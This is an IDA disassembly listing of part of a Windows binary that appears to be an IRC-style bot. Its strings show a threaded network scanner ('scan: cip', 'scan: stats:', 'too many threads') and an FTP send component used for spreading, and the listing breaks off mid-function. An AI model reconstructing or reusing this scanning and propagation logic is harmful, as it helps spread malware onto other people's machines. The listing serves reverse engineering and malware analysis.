mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F8B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB50[eax*8] add esp, 4 push eax call near ptr 71AB3F41h nop push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8370 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44964F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445418 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445418 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, dword_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp mov eax, dword_445418 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445420 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445418 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445418 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445418[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] 